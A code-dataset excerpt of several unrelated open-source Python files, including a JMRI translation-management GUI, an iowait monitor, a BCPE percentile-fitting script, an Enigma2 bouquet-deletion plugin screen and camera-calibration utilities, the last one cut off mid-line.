PURPOSE. See the GNU General Public License \n# for more details.\n#\n# Revision $Revision$\n# by Simon Ginsburg (simon.ginsburg at bluewin.ch)\n\"\"\"\nThis is the main function and GUI for the translation utility\n\nThe main class of this module is Mainframe_Translation where all GUI interactions are concentrated.\n\nThere's a pdf document provided with this suite.\nRead \"Translation_documentation.pdf\" for details.\n\nThis is the calling hierarchy of this module:\nTestframes: Mainframe_Translation\n --> Property_File_Error\n --> filestruct\n --> directorymanager\n --> singlefilestructure\n --> os\n --> os.path\n --> Tkinter\n \nTest version 1.2.1 contains these updates:\n- added internal documentation within the code\n- added a test function, which checks the existence \n and validity of the versin number string.\n- streamlined import funcion removing all obsolete statements\n\"\"\"\n\nimport Tkinter\nimport os\nfrom Property_File_Error import Property_File_Error\nfrom filestruct import filestruct\nfrom singlefilestructure import singlefilestructure\n\n\nclass Mainframe_Translation(Tkinter.Frame):\n\n def Create_Filestructure(self):\n \"\"\"\n This function builds up the internal file structure based on the original project structure.\n \"\"\"\n self.statustext.set(\"Creating structure...\")\n self.update()\n try:\n for root, dirs, files in os.walk(self.filestruct.dm.Startpath):\n for name in files:\n trunkname, ext = os.path.splitext(name)\n if ext == \".properties\":\n fullfilename = self.filestruct.dm.getfullname(root, trunkname)\n os.chdir(root)\n #corename = self.filestruct.dm.getcorename(fullname):\n cpfile = open(name,\"rU\")\n self.filestruct.add(fullfilename, root, name, cpfile.readlines()) \n cpfile.close() \n self.List.delete(0, Tkinter.END)\n self.List.insert(Tkinter.END, \"All\")\n #print self.filestruct.kinds\n for kinds in self.filestruct.kinds: \n if not kinds.strip() == '':\n self.List.insert(Tkinter.END, kinds)\n if not os.path.exists(self.filestruct.dm.Refdir):\n self.filestruct.CopyRef(\"All\")\n else:\n self.filestruct.ReadRef(\"All\")\n self.filestruct.CopyCurr(\"All\")\n if not os.path.exists(self.filestruct.dm.Defpath):\n self.Strlist[\"state\"] = Tkinter.NORMAL\n #else:\n # self.filestruct.addDefaults()\n self.Load[\"state\"] = Tkinter.NORMAL\n self.Import[\"state\"] = Tkinter.NORMAL\n self.Init[\"state\"] = Tkinter.DISABLED\n self.statustext.set(\"Done!\")\n except Property_File_Error as e:\n self.statustext.set(str(e.filename + \": \" + str(e.linenum)))\n self.update()\n \n def Load_Filestructure(self): \n \"\"\"\n This function reloads the internal file structure from disk\n \"\"\"\n try:\n if os.path.exists(self.filestruct.dm.Refdir):\n self.statustext.set(\"Loading structure...\")\n self.update()\n else:\n self.Load[\"state\"] = Tkinter.DISABLED\n self.statustext.set(\"No reference structure available...\")\n self.update()\n return\n self.filestruct.ReadRef(\"All\")\n if os.path.exists(self.filestruct.dm.Currdir):\n self.filestruct.ReadCurr(\"All\")\n else:\n for root, dirs, files in os.walk(self.filestruct.dm.Startpath):\n for name in files:\n trunkname, ext = os.path.splitext(name)\n if ext == \".properties\":\n fullfilename = self.filestruct.dm.getfullname(root, trunkname)\n os.chdir(root)\n cpfile = open(name,\"rU\")\n self.filestruct.add(fullfilename, root, name, cpfile.readlines())\n cpfile.close()\n self.filestruct.CopyCurr(\"All\")\n self.filestruct.checkKinds()\n self.List.delete(0, Tkinter.END)\n self.List.insert(Tkinter.END, \"All\")\n for kinds in self.filestruct.kinds: \n if not kinds.strip() == '':\n self.List.insert(Tkinter.END, kinds)\n if not os.path.exists(self.filestruct.dm.Defpath):\n self.Strlist[\"state\"] = Tkinter.NORMAL\n self.Load[\"state\"] = Tkinter.DISABLED\n self.Init[\"state\"] = Tkinter.DISABLED\n self.Import[\"state\"] = Tkinter.NORMAL\n self.statustext.set(\"Done!\")\n except Property_File_Error as e:\n self.statustext.set(str(e.filename + \": \" + str(e.linenum)))\n self.update()\n \n def Create_Stringlists(self): \n \"\"\"\n This function creates the default files to simplify ths initial defaults\n \"\"\"\n if self.filestruct == []:\n self.statustext.set(\"Failed! Load Data First!\")\n self.update()\n else:\n self.statustext.set(\"Starting...\")\n self.update()\n if not os.path.exists(self.filestruct.dm.Defpath):\n os.mkdir(self.filestruct.dm.Defpath)\n os.chdir(self.filegroup.dm.Defpath)\n self.filestruct.create_exceptions()\n self.Strlist[\"state\"] = Tkinter.DISABLED\n self.statustext.set(\"Done!\")\n self.update()\n \n def Evallist(self):\n \"\"\"\n This function activates or disables function buttons based on the language selection\n \"\"\"\n self.currlist = self.List.get(self.List.curselection())\n if not self.currlist == \"\":\n if not os.path.exists(self.filestruct.dm.Refdir):\n self.Init[\"state\"] = Tkinter.NORMAL\n self.Load[\"state\"] = Tkinter.DISABLED\n self.Refdata[\"state\"] = Tkinter.NORMAL\n self.Update[\"state\"] = Tkinter.DISABLED\n else:\n self.Init[\"state\"] = Tkinter.DISABLED\n self.Load[\"state\"] = Tkinter.NORMAL\n self.Refdata[\"state\"] = Tkinter.DISABLED\n self.Update[\"state\"] = Tkinter.NORMAL\n self.STAT[\"state\"] = Tkinter.NORMAL\n self.Export[\"state\"] = Tkinter.NORMAL\n self.Test1[\"state\"] = Tkinter.NORMAL\n \n \n def Exportfunction(self):\n \"\"\"\n This function exports all new or improved files into the project structure\n \"\"\"\n #print (\"Entering function Exportfunction...\")\n if self.filestruct == []:\n self.statustext.set(\"Failed! Load Data First!\")\n self.update()\n elif self.currlist == []:\n self.statustext.set(\"Failed! Select Language First!\")\n self.update()\n else:\n self.statustext.set(\"Starting...\")\n self.update()\n if self.currlist.strip() == \"All\":\n for actlang in self.filestruct.kinds:\n if not actlang.strip() == '':\n self.filestruct.export(self.currlist)\n else:\n self.filestruct.export(self.currlist)\n self.statustext.set(\"Done!\")\n self.update()\n \n def Testfunction1(self): \n self.statustext.set(\"Starting...\")\n self.update()\n self.filestruct.testfun1()\n self.statustext.set(\"Done!\")\n self.update()\n \n def Testfunction2(self): \n self.statustext.set(\"Starting...\")\n self.update()\n self.filestruct.testfun2()\n self.statustext.set(\"Done!\")\n self.update()\n \n def Set_Reference_Data(self):\n \"\"\"\n This function saves the current data as reference data\n \"\"\"\n if self.filestruct == []:\n self.statustext.set(\"Failed! Load Data First!\")\n self.update()\n else:\n self.statustext.set(\"Starting...\")\n self.update()\n self.statustext.set(\"Copying \" + self.currlist)\n if not os.path.exists(self.filestruct.dm.Refdir):\n os.mkdir(self.filestruct.dm.Refdir)\n os.chdir(self.filestruct.dm.Refdir)\n self.filestruct.exportref(str(self.currlist))\n self.Refdata[\"state\"] = Tkinter.DISABLED\n self.Update[\"state\"] = Tkinter.NORMAL\n self.statustext.set(\"Done!\")\n self.update()\n\n def Update_Data(self):\n \"\"\"\n This function updates the internal file structure based on the internal data\n \"\"\"\n if self.filestruct == []:\n self.statustext.set(\"Failed! Load Data First!\")\n self.update()\n else:\n self.statustext.set(\"Starting...\")\n self.update()\n self.statustext.set(\"Copying \" + self.currlist)\n if not os.path.exists(self.filestruct.dm.Currdir):\n os.mkdir(self.filestruct.dm.Currdir)\n os.chdir(self.filestruct.dm.Currdir)\n self.filestruct.exportcurr(self.currlist)\n self.Refdata[\"state\"] = Tkinter.DISABLED\n self.Update[\"state\"] = Tkinter.NORMAL\n self.statustext.set(\"Done!\")\n self.update()\n \n def Importfunction(self):\n \"\"\"\n This function imports new or improved translation documents\n \"\"\"\n if not os.path.exists(self.filestruct.dm.Currdir):\n self.statustext.set(\"Failed! Create Data First!\")\n self.update()\n else:\n if os.path.exists(self.filestruct.dm.Importdir):\n os.chdir(self.filestruct.dm.Importdir)\n self.statustext.set(\"Starting...\")\n self.update()\n tempstruct = []\n for root, dirs, files in os.walk(self.filestruct.dm.Importdir):\n for name in files:\n fullname, ext = os.path.splitext(name.strip())\n if ext == \".txt\":\n #print ('Fullname: ' + fullname)\n filename, dirname, corename, trunkname, key = self.filestruct.dm.getinfo(fullname)\n #print ('Filename: ' + filename)\n #print ('Dirname: ' + dirname)\n #print ('Corename: ' + corename)\n #print ('Trunkname: ' + trunkname)\n #print ('Key: ' + key)\n if not fullname is \"\":\n os.chdir(root)\n cpfile = open(name,\"r\")\n temp = singlefilestructure(self.filestruct.tm, name, dirname, filename, corename, key, cpfile.readlines())\n tempstruct.append(temp)\n cpfile.close()\n for file in tempstruct:\n transstruct = self.filestruct.findcurrgroup(file.corename)\n transstruct.exchange(file)\n self.statustext.set(\"Done!\")\n self.update()\n else:\n self.statustext.set(\"No Import found...\")\n self.update()\n\n def Output_Statistics(self):\n \"\"\"\n This function creates the statistical information for the selected language\n \"\"\"\n if self.filestruct == []:\n self.statustext.set(\"Failed! Load Data First!\")\n self.update()\n elif self.currlist == []:\n self.statustext.set(\"Failed! Select Language First!\")\n self.update()\n else:\n self.statustext.set(\"Starting...\")\n self.update()\n self.filestruct.getstat(self.currlist)\n self.statustext.set(\"Done!\")\n self.update()\n \n def createWidgets(self):\n \"\"\"\n This function defines all GUI elements and their pointers to callback functions\n \"\"\"\n self.Init = Tkinter.Button(self)\n self.Init[\"text\"] = \"Read File Structure\"\n self.Init[\"command\"] = self.Create_Filestructure\n self.Init.grid(row = 0, column = 0)\n\n self.Load = Tkinter.Button(self)\n self.Load[\"text\"] = \"Load File Structure\"\n self.Load[\"command\"] = self.Load_Filestructure\n if os.path.exists(self.filestruct.dm.Destpath):\n if os.path.exists(self.filestruct.dm.Refdir):\n self.Load[\"state\"] = Tkinter.NORMAL\n else:\n self.Load[\"state\"] = Tkinter.DISABLED\n else:\n self.Load[\"state\"] = Tkinter.DISABLED\n self.Load.grid(row = 0, column = 1)\n\n self.Refdata = Tkinter.Button(self)\n self.Refdata[\"text\"] = \"Set Reference Data\"\n self.Refdata[\"command\"] = self.Set_Reference_Data\n self.Refdata[\"state\"] = Tkinter.DISABLED\n self.Refdata.grid(row = 1, column = 0)\n\n self.Update = Tkinter.Button(self)\n self.Update[\"text\"] = \"Update Current Data\"\n self.Update[\"command\"] = self.Update_Data\n self.Update[\"state\"] = Tkinter.DISABLED\n self.Update.grid(row = 1, column = 1)\n\n self.List = Tkinter.Listbox(self, selectmode=Tkinter.SINGLE)\n self.List.insert(Tkinter.END, \"No Choice available!\")\n self.List.grid(row = 0, column = 2, rowspan = 4, columnspan = 2)\n\n self.Import = Tkinter.Button(self)\n self.Import[\"text\"] = \"Import Translation\"\n self.Import[\"command\"] = self.Importfunction\n self.Import[\"state\"] = Tkinter.DISABLED\n self.Import.grid(row = 2, column = 0)\n\n self.Export = Tkinter.Button(self)\n self.Export[\"text\"] = \"Export Translations\"\n self.Export[\"command\"] = self.Exportfunction\n self.Export[\"state\"] = Tkinter.DISABLED\n self.Export.grid(row = 2, column = 1)\n\n self.STAT = Tkinter.Button(self)\n self.STAT[\"text\"] = \"Create Statistic\"\n self.STAT[\"command\"] = self.Output_Statistics\n self.STAT[\"state\"] = Tkinter.DISABLED\n self.STAT.grid(row = 3, column = 0)\n\n self.Strlist = Tkinter.Button(self)\n self.Strlist[\"text\"] = \"Create Stringlists\"\n self.Strlist[\"command\"] = self.Create_Stringlists\n self.Strlist[\"state\"] = Tkinter.DISABLED\n self.Strlist.grid(row = 3, column = 1)\n\n self.Test1 = Tkinter.Button(self)\n self.Test1[\"text\"] = \"Version number test\"\n self.Test1[\"command\"] = self.Testfunction1\n self.Test1[\"state\"] = Tkinter.NORMAL\n self.Test1.grid(row = 4, column = 0)\n\n self.Test2 = Tkinter.Button(self)\n self.Test2[\"text\"] = \"Encoding Tests\"\n self.Test2[\"command\"] = self.Testfunction2\n self.Test2[\"state\"] = Tkinter.NORMAL\n self.Test2.grid(row = 4, column = 1)\n\n self.OK = Tkinter.Button(self)\n self.OK[\"text\"] = \"OK\"\n self.OK[\"command\"] = self.Evallist\n self.OK.grid(row = 5, column = 2)\n\n self.QUIT = Tkinter.Button(self)\n self.QUIT[\"text\"] = \"QUIT\"\n self.QUIT[\"command\"] = self.quit\n self.QUIT.grid(row = 5, column = 3)\n\n self.statustext = Tkinter.StringVar()\n self.Status = Tkinter.Label(self,width=20, textvariable=self.statustext)\n self.statustext.set(\"Init\")\n self.Status.grid(row = 5, column = 0, columnspan=2, sticky=\"news\")\n\n def __init__(self, master=None):\n Tkinter.Frame.__init__(self, master)\n self.filestruct = filestruct()\n self.pack()\n self.createWidgets()\n\napp = Mainframe_Translation()\napp.mainloop()\n","repo_name":"JMRI/JMRI","sub_path":"java/Translatingscripts/Testframes.py","file_name":"Testframes.py","file_ext":"py","file_size_in_byte":16249,"program_lang":"python","lang":"en","doc_type":"code","stars":215,"dataset":"github-code","pt":"20"} +{"seq_id":"3905998749","text":"#! /usr/bin/env python3\n\nimport re\nimport subprocess\nimport time\n\nLOG_ENTRIES = 4 # 1 entry == 1 second\n\ndef collect_data_and_print(process):\n records = []\n records_max_len = LOG_ENTRIES\n\n while True:\n line = process.stdout.readline()\n if line == b'':\n time.sleep(1)\n continue\n line = line.decode()\n\n tmp = 'all'\n if tmp not in line:\n continue\n idx = line.index(tmp)\n line = line[idx+len(tmp):]\n\n line = line.strip()\n\n line = re.sub(' +', ' ', line)\n\n iowait = line.split(' ')[3]\n iowait = iowait.replace(',', '.') # on ubuntu `,` is used instead of `.`\n iowait = float(iowait)\n\n records.append(iowait)\n if len(records) > records_max_len:\n del records[0]\n\n items = len(records)\n avg = sum(records) / items\n\n print(f'{items}s{avg:6.2f}', flush=True)\n\ndef main():\n process = subprocess.Popen(['mpstat', '--dec=2', '1'], stdout=subprocess.PIPE)\n # can use `--dec=0` to limit to `0` decimal places. default is 2\n\n try:\n collect_data_and_print(process)\n finally:\n process.terminate()\n\nif __name__ == '__main__':\n main()\n","repo_name":"kuche1/sync-configs","sub_path":"sync-location/home/.config/minq-utilities/iowait.py","file_name":"iowait.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"72322495091","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 16 2018\n\n@author: Christian Winkler\n\"\"\"\nimport matplotlib.pyplot as plt\nfrom scipy import exp\nfrom scipy.special import gamma\nimport numpy as np\nimport pandas as pd\nfrom scipy.optimize import minimize\n#import time\n\n\n \ndef BCPE(M, S, L, T, x):\n c = np.sqrt(2**(-2/T)*gamma(1/T)/gamma(3/T))\n \n if L == 0:\n z = (1/S)*np.log(x/M)\n else:\n z = (1/(S*L))*(((x/M)**L)-1)\n \n f_z = T/(c*2**(1+1/T)*gamma(1/T))*exp(-0.5*np.abs(z/c)**T)\n f_y = (x**(L-1))/(M**L*S)*f_z\n return f_y\n\n \ndef LL(para, x, y):\n # compute the loglikelihood function\n\n Mcoeff = para[0:2]\n Scoeff = para[2] \n Lcoeff = para[3]\n Tcoeff = para[4]\n \n polyM = np.poly1d(Mcoeff)\n Mp = np.polyval(polyM, x) \n \n Mp_neg = Mp > 0\n if (Scoeff>0 and Tcoeff>0 and Mp_neg.all()): \n prob_i = BCPE(Mp, Scoeff, Lcoeff, Tcoeff, y)\n prob = np.sum(np.log(prob_i))\n print(-prob)\n return -prob\n else:\n print(\"negativ\")\n return np.inf\n \n # plotting for each iteration; can be taken out\n #plt.scatter(x, y)\n #plt.plot(x, Mp, '-', color= \"r\")\n #plt.show() \n \n \ndef init_params(x, y):\n # initialize the parameters\n\n Mcoeff = np.polyfit(x, y, deg = 1)\n# Mcoeff = [1.9, 45]\n# Scoeff = 1.0\n# Lcoeff = 0.1\n# Tcoeff = 1.0\n #[ 1.9925555 45.57392121 1.07551709 0.12995913 0.16770352]\n# Scoeff = 0.03\n# Lcoeff = 0.99\n# Tcoeff = 0.03\n #[ 1.96795009e+00 4.54889361e+01 3.33270779e-02 1.025 1.28]\n # Similar to gamlss!!\n \n Scoeff = 0.1\n Lcoeff = 1.2\n Tcoeff = 0.1\n #[ 1.94, 45.53, 0.0333, 1.04, 1.28]\n \n return [Mcoeff, Scoeff, Lcoeff, Tcoeff]\n \ndef minimize_LL(x, y):\n #Minimize the loglikelihood\n\n Mcoeff = init_params(x, y)[0]\n Scoeff = init_params(x, y)[1]\n Lcoeff = init_params(x, y)[2]\n Tcoeff = init_params(x, y)[3]\n #para = np.append(Mcoeff, Scoeff, Lcoeff, Tcoeff)\n para =list(Mcoeff)[0:2]+ [Scoeff]+ [Lcoeff]+ [Tcoeff]\n print(para)\n \n # Run minimizer\n results = minimize(LL, para, args=(x, y), method='nelder-mead')\n return results\n\n# Load data\nexample_data = pd.read_csv(\"example_data.csv\")\ny = example_data['head'].values\nx = example_data['age'].values\n \n# Start optimizer\nresults = minimize_LL(x, y)\n\n# Show results\nx_axis= np.arange(min(x),max(x),0.01)\n\npolyM = np.poly1d(results.x[0:2])\nMp = np.polyval(polyM, x_axis)\nSp = results.x[2]\nLp = results.x[3]\nTp = results.x[4]\n\n# Computing percentiles\n#y_axis= np.arange(min(y),max(y),0.01)\n\ny_axis = [np.arange(Mp[i]-20, Mp[i]+20, 0.001) for i in range(0, len(x_axis))]\n\npdf = [BCPE(Mp[i], Sp, Lp, Tp, y_axis[i]) for i in range(0, len(x_axis))]\ncdf = [np.cumsum(i) for i in pdf]\n\nP04_id = [(np.abs(i/max(i) - 0.004)).argmin() for i in cdf]\nP04 = [y_axis[i][P04_id[i]] for i in range(0, len(y_axis))]\n\nP2_id = [(np.abs(i/max(i) - 0.02)).argmin() for i in cdf]\nP2 = [y_axis[i][P2_id[i]] for i in range(0, len(y_axis))]\n\nP10_id = [(np.abs(i/max(i) - 0.10)).argmin() for i in cdf]\nP10 = [y_axis[i][P10_id[i]] for i in range(0, len(y_axis))]\n\nP25_id = [(np.abs(i/max(i) - 0.25)).argmin() for i in cdf]\nP25 = [y_axis[i][P25_id[i]] for i in range(0, len(y_axis))]\n\nP75_id = [(np.abs(i/max(i) - 0.75)).argmin() for i in cdf]\nP75 = [y_axis[i][P75_id[i]] for i in range(0, len(y_axis))]\n\nP90_id = [(np.abs(i/max(i) - 0.9)).argmin() for i in cdf]\nP90 = [y_axis[i][P90_id[i]] for i in range(0, len(y_axis))]\n\nP98_id = [(np.abs(i/max(i) - 0.98)).argmin() for i in cdf]\nP98 = [y_axis[i][P98_id[i]] for i in range(0, len(y_axis))]\n\nP996_id = [(np.abs(i/max(i) - 0.996)).argmin() for i in cdf]\nP996 = [y_axis[i][P996_id[i]] for i in range(0, len(y_axis))]\n\n\n### Plotting scatterplt\nplt.scatter(x, y)\n\n### Plotting Percentiels\nplt.plot(x_axis, Mp, '-', color= \"r\", label = \"median\")\n\nplt.plot(x_axis, P996, '-', color= \"y\")\nplt.plot(x_axis, P98, '-', color= \"y\")\nplt.plot(x_axis, P90, '-', color= \"y\")\nplt.plot(x_axis, P75, '-', color= \"y\")\n#\nplt.plot(x_axis, P25, '-', color= \"y\")\nplt.plot(x_axis, P10, '-', color= \"y\")\nplt.plot(x_axis, P2, '-', color= \"y\")\nplt.plot(x_axis, P04, '-', color= \"y\")\n\nplt.legend()\n#plt.ylim([20, 80])\nplt.savefig(\"Python_BCPE_2D.png\")\nplt.show()\n\n###Parameter\n#print(results.x[2:])\n\n# GAMLSS\n#> fitted(model_BCPE, \"sigma\")[1]\n# 1231 \n#0.03117349 \n#> fitted(model_BCPE, \"nu\")[1]\n# 1231 \n#0.9884091 \n#> fitted(model_BCPE, \"tau\")[1]\n# 1231 \n#0.03117349 \n\n### Analysis of residuals\nMr = np.polyval(polyM, x)\nnp.mean(Mr-y)\nnp.std(Mr-y)\n","repo_name":"xi2pi/gamlss","sub_path":"2D/BCPE/percentiles_BCPE.py","file_name":"percentiles_BCPE.py","file_ext":"py","file_size_in_byte":4573,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"17787910522","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom . import _\nfrom . import bouquet_globals as glob\nfrom . import globalfunctions as bmx\nfrom .bmxStaticText import StaticText\nfrom .plugin import cfg, common_path, epgimporter, playlists_json, skin_directory, version\n\nfrom Components.ActionMap import ActionMap\nfrom Components.Sources.List import List\nfrom Screens.Screen import Screen\nfrom Tools.LoadPixmap import LoadPixmap\n\nimport json\nimport os\n\n\nclass BmxDeleteBouquets(Screen):\n def __init__(self, session):\n Screen.__init__(self, session)\n self.session = session\n skin_path = os.path.join(skin_directory, cfg.skin.getValue())\n skin = os.path.join(skin_path, \"bouquets.xml\")\n with open(skin, \"r\") as f:\n self.skin = f.read()\n self.setup_title = _(\"Delete Bouquets\")\n\n # new list code\n self.start_list = []\n self.draw_list = []\n self[\"list\"] = List(self.draw_list)\n\n self[\"key_red\"] = StaticText(_(\"Cancel\"))\n self[\"key_green\"] = StaticText(_(\"Delete\"))\n self[\"key_yellow\"] = StaticText(_(\"Invert\"))\n self[\"key_blue\"] = StaticText(_(\"Clear All\"))\n self[\"key_info\"] = StaticText(\"\")\n self[\"version\"] = StaticText(\"\")\n\n self.playlists_all = bmx.getPlaylistJson()\n\n self.onLayoutFinish.append(self.__layoutFinished)\n\n self[\"actions\"] = ActionMap([\"BMXActions\"], {\n \"red\": self.keyCancel,\n \"green\": self.deleteBouquets,\n \"yellow\": self.toggleAllSelection,\n \"blue\": self.clearAllSelection,\n \"cancel\": self.keyCancel,\n \"ok\": self.toggleSelection\n }, -2)\n\n self[\"version\"].setText(version)\n\n self.getStartList()\n self.refresh()\n\n def __layoutFinished(self):\n self.setTitle(self.setup_title)\n\n def buildListEntry(self, name, index, selected):\n if selected:\n pixmap = LoadPixmap(cached=True, path=os.path.join(common_path, \"lock_on.png\"))\n else:\n pixmap = LoadPixmap(cached=True, path=os.path.join(common_path, \"lock_off.png\"))\n return (pixmap, str(name), index, selected)\n\n def getStartList(self):\n for playlist in self.playlists_all:\n if playlist[\"playlist_info\"][\"bouquet\"] is True:\n self.start_list.append([str(playlist[\"playlist_info\"][\"name\"]), playlist[\"playlist_info\"][\"index\"], False])\n\n self.draw_list = [self.buildListEntry(x[0], x[1], x[2]) for x in self.start_list]\n self[\"list\"].setList(self.draw_list)\n\n def refresh(self):\n self.draw_list = []\n self.draw_list = [self.buildListEntry(x[0], x[1], x[2]) for x in self.start_list]\n self[\"list\"].updateList(self.draw_list)\n\n def toggleSelection(self):\n if len(self[\"list\"].list) > 0:\n idx = self[\"list\"].getIndex()\n self.start_list[idx][2] = not self.start_list[idx][2]\n self.refresh()\n\n def toggleAllSelection(self):\n for idx, item in enumerate(self[\"list\"].list):\n self.start_list[idx][2] = not self.start_list[idx][2]\n self.refresh()\n\n def getSelectionsList(self):\n return [item[0] for item in self.start_list if item[2]]\n\n def clearAllSelection(self):\n for idx, item in enumerate(self[\"list\"].list):\n self.start_list[idx][2] = False\n self.refresh()\n\n def keyCancel(self):\n self.close()\n\n def deleteBouquets(self):\n selected_bouquet_list = self.getSelectionsList()\n\n for x in selected_bouquet_list:\n bouquet_name = x\n safe_name = bmx.safeName(bouquet_name)\n\n with open(\"/etc/enigma2/bouquets.tv\", \"r+\") as f:\n lines = f.readlines()\n f.seek(0)\n f.truncate()\n\n for line in lines:\n if \"bouquetmakerxtream_live_\" + str(safe_name) + \"_\" in line:\n continue\n if \"bouquetmakerxtream_vod_\" + str(safe_name) + \"_\" in line:\n continue\n if \"bouquetmakerxtream_series_\" + str(safe_name) + \"_\" in line:\n continue\n if \"bouquetmakerxtream_\" + str(safe_name) + \".tv\" in line:\n continue\n f.write(line)\n\n bmx.purge(\"/etc/enigma2\", \"bouquetmakerxtream_live_\" + str(safe_name) + \"_\")\n bmx.purge(\"/etc/enigma2\", \"bouquetmakerxtream_vod_\" + str(safe_name) + \"_\")\n bmx.purge(\"/etc/enigma2\", \"bouquetmakerxtream_series_\" + str(safe_name) + \"_\")\n bmx.purge(\"/etc/enigma2\", str(safe_name) + str(\".tv\"))\n\n if epgimporter is True:\n bmx.purge(\"/etc/epgimport\", \"bouquetmakerxtream.\" + str(safe_name) + \".channels.xml\")\n\n # remove sources from source file\n source_file = \"/etc/epgimport/bouquetmakerxtream.sources.xml\"\n\n if os.path.isfile(source_file):\n import xml.etree.ElementTree as ET\n\n tree = ET.parse(source_file)\n root = tree.getroot()\n\n for elem in root.iter():\n for child in list(elem):\n description = \"\"\n if child.tag == \"source\":\n try:\n description = child.find(\"description\").text\n if safe_name in description:\n elem.remove(child)\n except:\n pass\n\n tree.write(source_file)\n\n self.deleteBouquetFile(bouquet_name)\n glob.firstrun = True\n glob.current_selection = 0\n glob.current_playlist = []\n bmx.refreshBouquets()\n self.close()\n\n def deleteBouquetFile(self, bouquet_name):\n for playlist in self.playlists_all:\n if playlist[\"playlist_info\"][\"name\"] == bouquet_name:\n playlist[\"playlist_info\"][\"bouquet\"] = False\n\n # delete leftover empty dicts\n self.playlists_all = [_f for _f in self.playlists_all if _f]\n\n with open(playlists_json, \"w\") as f:\n json.dump(self.playlists_all, f)\n","repo_name":"kiddac/Bouquet_Maker_Xtream","sub_path":"BouquetMakerXtream/usr/lib/enigma2/python/Plugins/Extensions/BouquetMakerXtream/deletebouquets.py","file_name":"deletebouquets.py","file_ext":"py","file_size_in_byte":6321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"17897218593","text":"import tensorflow as tf\nfrom logger import log\nfrom model import create_model\n\ndef get_model(LR_G):\n model = create_model()\n model_optimizer = tf.keras.optimizers.Adam(LR_G)\n path = \"tensor_checkpoints/\"\n ckpt = tf.train.Checkpoint(model=model,\n model_optimizer=model_optimizer)\n ckpt_manager = tf.train.CheckpointManager(ckpt, path, max_to_keep=3)\n # if a checkpoint exists, restore the latest checkpoint.\n if ckpt_manager.latest_checkpoint:\n ckpt.restore(ckpt_manager.latest_checkpoint)\n log('Latest checkpoint restored!!')\n else:\n log(\"No checkpoint found! Staring from scratch!\")\n \n return model, model_optimizer, ckpt_manager\n\ndef save_model(ckpt_manager, epoch):\n ckpt_save_path = ckpt_manager.save()\n log('Saving checkpoint for epoch {} at {}'.format(epoch, ckpt_save_path))\n","repo_name":"omagdy/malaria-diagnosis","sub_path":"model_checkpoints.py","file_name":"model_checkpoints.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"2056107358","text":"#Python: Get a single string from two given strings, separated by a space and swap the first two characters of each string\n'''a = '@fmvinght'\nprint (a[1:2])\nprint (a[0:1])\nprint (a[0])'''\n\n'''def combine_string(str1, str2):\n temp = 0\n a = str1[0]\n b = str2[0]\n temp = a\n a = b\n b = temp\n str3 = a + str1[1:] + \" \" + b + str2[1:]\n return str3\na = input('enter string 1')\nb = input('enter string 2')\ns = combine_string(a,b)\nprint(s)'''\n\n\ndef combine_string(str1, str2):\n temp = 0\n a = str1[0:2]\n b = str2[0:2]\n temp = a\n a = b\n b = temp\n str3 = a + str1[2:] + \" \" + b + str2[2:]\n return str3\na = input('enter string 1')\nb = input('enter string 2')\ns = combine_string(a,b)\nprint(s)\n","repo_name":"augustedupin123/python_practice","sub_path":"p39_swap_first2elements.py","file_name":"p39_swap_first2elements.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"11961470053","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Feb 5 10:08:37 2017\n\n@author: Zdenek\n\nThe goal of camera calibration is to compute transformation between 3D \nobject points in the world and 2D image points\n\nThe goal of distrotion correction is to ensure that the geometrical shape\nof objects is represented consistently, no matter where they appear\nin the image\n\n\"\"\"\n\nimport cv2\nimport numpy as np\nimport glob\nimport pickle\n\ndef calibrate_camera(cal_images='./camera_cal/calibration*.jpg', nx=9, ny=6):\n \"\"\"\n Calibrate camera with calibration chessboards and return distortion matrices\n \n nx = the number of inside corners in x\n the number of inside corners in y\n \n \"\"\"\n # Arrays to store object points and image points\n objpoints = []\n imgpoints = []\n \n objp = np.zeros((nx*ny, 3), np.float32)\n objp[:,:2] = np.mgrid[0:nx,0:ny].T.reshape(-1,2)\n \n # Make a list of calibration images\n images = glob.glob(cal_images)\n \n for image in images:\n img = cv2.imread(image)\n \n # Convert to grayscale\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n \n # Find the chessboard corners\n ret, corners = cv2.findChessboardCorners(gray, (nx, ny), None)\n \n # If found, draw corners\n if ret == True:\n print('Corners found in {}'.format(image))\n imgpoints.append(corners)\n objpoints.append(objp) \n # Draw and display the corners\n #cv2.drawChessboardCorners(img, (nx, ny), corners, ret)\n #plt.imshow(img)\n \n ret, mtx, dist, rvecs, tvecs = cv2.calibrateCamera(objpoints, imgpoints, gray.shape[::-1],None,None)\n \n with open('camera_cal.pickle', 'wb') as f:\n pickle.dump({'imgpoints': imgpoints, 'objpoints': objpoints, 'mtx': mtx, 'dist': dist}, f)\n\n return mtx, dist\n \ndef region_of_interest(img, vertices):\n \"\"\"\n Applies an image mask.\n \n Only keeps the region of the image defined by the polygon\n formed from `vertices`. The rest of the image is set to black.\n \"\"\"\n #defining a blank mask to start with\n mask = np.zeros_like(img) \n \n #defining a 3 channel or 1 channel color to fill the mask with depending on the input image\n if len(img.shape) > 2:\n channel_count = img.shape[2] # i.e. 3 or 4 depending on your image\n ignore_mask_color = (255,) * channel_count\n else:\n ignore_mask_color = 255\n \n #filling pixels inside the polygon defined by \"vertices\" with the fill color \n cv2.fillPoly(mask, vertices, ignore_mask_color)\n \n #returning the image only where mask pixels are nonzero\n masked_image = cv2.bitwise_and(img, mask)\n return masked_image\n \n#import matplotlib.pyplot as plt\n#\n#img = plt.imread('./test_images/test1.jpg')\n#mtx, dist = calibrate_camera()\n#dst = cv2.undistort(img, mtx, dist, None, mtx)\n#vertices = np.array([[[620,450],[250,700],[1200,700], [720,450]]])\n#plt.imshow(img), plt.show()\n##plt.imshow(region_of_interest(img, 